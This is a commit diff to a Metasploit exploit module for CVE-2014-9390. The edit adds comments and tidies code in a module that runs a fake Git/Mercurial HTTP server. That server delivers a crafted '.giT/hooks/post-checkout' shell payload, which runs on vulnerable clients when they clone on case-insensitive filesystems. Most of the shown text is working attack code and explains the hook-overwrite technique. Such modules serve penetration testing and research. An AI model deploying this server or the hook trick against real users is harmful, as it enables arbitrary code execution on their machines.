Update comments to reflect reality, minor cleanup

Author: jhart-r7

modules/exploits/multi/http/cve_2014_9390.rb

@@ -99,6 +99,10 @@ def initialize(info = {})
   end
 
   def setup
+    # the exploit requires that we act enough like a real Mercurial HTTP instance,
+    # so we keep a mapping of all of the files and the corresponding data we'll
+    # send back along with a trigger file that signifies that the git/mercurial
+    # client has fetched the malicious content.
     @repo_data = {
       git: { files: {}, trigger: nil },
       mercurial: { files: {}, trigger: nil }
@@ -107,6 +111,7 @@ def setup
     unless datastore['GIT'] || datastore['MERCURIAL']
       fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
     end
+
     setup_git
     setup_mercurial
 
@@ -116,7 +121,6 @@ def setup
   def setup_git
     return unless datastore['GIT']
     # URI must start with a /
-    puts "FOOO #{git_uri}"
     unless git_uri && git_uri =~ /^\//
       fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /')
     end
@@ -125,16 +129,22 @@ def setup_git
       fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank')
     end
 
+    # In .git/hooks/ directory, specially named files are shell scripts that
+    # are executed when particular events occur.  For example, if
+    # .git/hooks/post-checkout was an executable shell script, a git client
+    # would execute that file every time anything is checked out.  There are
+    # various other files that can be used to achieve similar goals but related
+    # to committing, updating, etc.
+    #
+    # This vulnerability allows a specially crafted file to bypass Git's
+    # blacklist and overwrite the sensitive .git/hooks/ files which can allow
+    # arbitrary code execution if a vulnerable Git client can be convinced to
+    # interact with a malicious Git repository.
+    #
     # This builds a fake git repository using the knowledge from:
-    # http://schacon.github.io/gitbook/7_how_git_stores_objects.html
-    # http://schacon.github.io/gitbook/7_browsing_git_objects.html
     #
-    # It creates a .giT/hooks/post-checkout file that contains a command to
-    # execute.  Because the full path of this file will be considered identical
-    # on case-insensitive filesystems and will be use in place of
-    # .git/hooks/post-checkout and will subsequently execute commands of our
-    # choosing upon cloning
-    # build the hook file blob
+    #   http://schacon.github.io/gitbook/7_how_git_stores_objects.html
+    #   http://schacon.github.io/gitbook/7_browsing_git_objects.html
     case target.name
     when 'Automatic'
       full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
@@ -216,17 +226,20 @@ def setup_mercurial
     fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
     @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
     # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
-    @repo_data[:mercurial][:files]["?cmd=getbundle&common=0000000000000000000000000000000000000000&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
+    @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0'*40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
 
     # TODO: finish building the fake repository
   end
 
+  # Build's a Git object
   def build_object(type, content)
+    # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
     header = "#{type} #{content.size}\0"
     store = header + content
     [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
   end
 
+  # Returns the Git object path name that a file with the provided SHA1 will reside in
   def get_path(sha1)
     sha1[0...2] + '/' + sha1[2..40]
   end
@@ -247,6 +260,7 @@ def primer
     end
   end
 
+  # handles routing any request to the mock git, mercurial or simple HTML as necessary
   def on_request_uri(cli, req)
     # if the URI is one of our repositories and the user-agent is that of git/mercurial
     # send back the appropriate data, otherwise just show the HTML version
@@ -263,6 +277,7 @@ def on_request_uri(cli, req)
     do_html(cli, req)
   end
 
+  # simulates a Git HTTP server
   def do_git(cli, req)
     # determine if the requested file is something we know how to serve from our
     # fake repository and send it if so
@@ -283,6 +298,8 @@ def do_git(cli, req)
     end
   end
 
+  # simulates an HTTP server with simple HTML content that lists the fake
+  # repositories available for cloning
   def do_html(cli, _req)
     resp = create_response
     resp.body = <<HTML
@@ -315,6 +332,7 @@ def do_html(cli, _req)
     cli.send_response(resp)
   end
 
+  # simulates a Mercurial HTTP server
   def do_mercurial(cli, req)
     # determine if the requested file is something we know how to serve from our
     # fake repository and send it if so